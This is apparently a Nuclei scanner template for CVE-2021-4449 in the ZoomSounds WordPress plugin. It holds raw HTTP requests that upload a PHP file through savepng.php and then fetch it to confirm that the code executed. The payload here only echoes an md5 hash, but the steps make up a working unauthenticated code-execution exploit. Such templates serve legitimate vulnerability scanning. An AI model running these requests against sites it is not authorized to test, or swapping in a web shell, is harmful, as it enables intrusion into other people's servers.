CVE-2021-4449: ZoomSounds Plugin - Unauthenticated Arbitrary File Upload

id: CVE-2021-4449

info:
  name: ZoomSounds Plugin - Unauthenticated Arbitrary File Upload
  author: 0xnemian
  severity: critical
  description: |
    ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php
  reference:
    - https://wpscan.com/vulnerability/07259a61-8ba9-4dd0-8d52-cc1df389c0ad
    - https://codecanyon.net/item/zoomsounds-wordpress-wave-audio-player-with-playlist/6181433
    - https://github.com/0xAgun/Arbitrary-File-Upload-ZoomSounds
    - https://ithemes.com/blog/wordpress-vulnerability-report-june-2021-part-5/#ib-toc-anchor-2
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/262e3bb3-bc83-4d0b-8056-9f94ec141b8f?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-4449
    cwe-id: CWE-434
    epss-score: 0.12919
    epss-percentile: 0.93699
    cpe: cpe:2.3:a:digitalzoomstudio:zoomsounds:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    fofa-query: body="/wp-content/plugins/dzs-zoomsounds/"
    max-request: 3
    vendor: digitalzoomstudio
    product: zoomsounds
    framework: wordpress
  tags: cve,cve2021,wpscan,wp,zoomsounds,intrusive,file-upload,kev

variables:
  rand_filename: "{{to_lower(rand_base(8))}}"
  string: "CVE-2021-4449"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/dzs-zoomsounds/savepng.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/dzs-zoomsounds/savepng.php?location={{rand_filename}}.php HTTP/1.1
        Host: {{Hostname}}

        <?php echo md5("{{string}}");?>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{rand_filename}}")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/dzs-zoomsounds/{{rand_filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{md5(string)}}")'
        condition: and
# digest: 4b0a00483046022100cebf6db60f5f8223fca4def02c626618feef292d7e18221aafdae3902120228a0221009988de7a7c7e8d401e8f7b3a07cd919f3df3c7e32b808cd7fe2c1b8aa54e996e:922c64590222798bb761d5b6d8e72950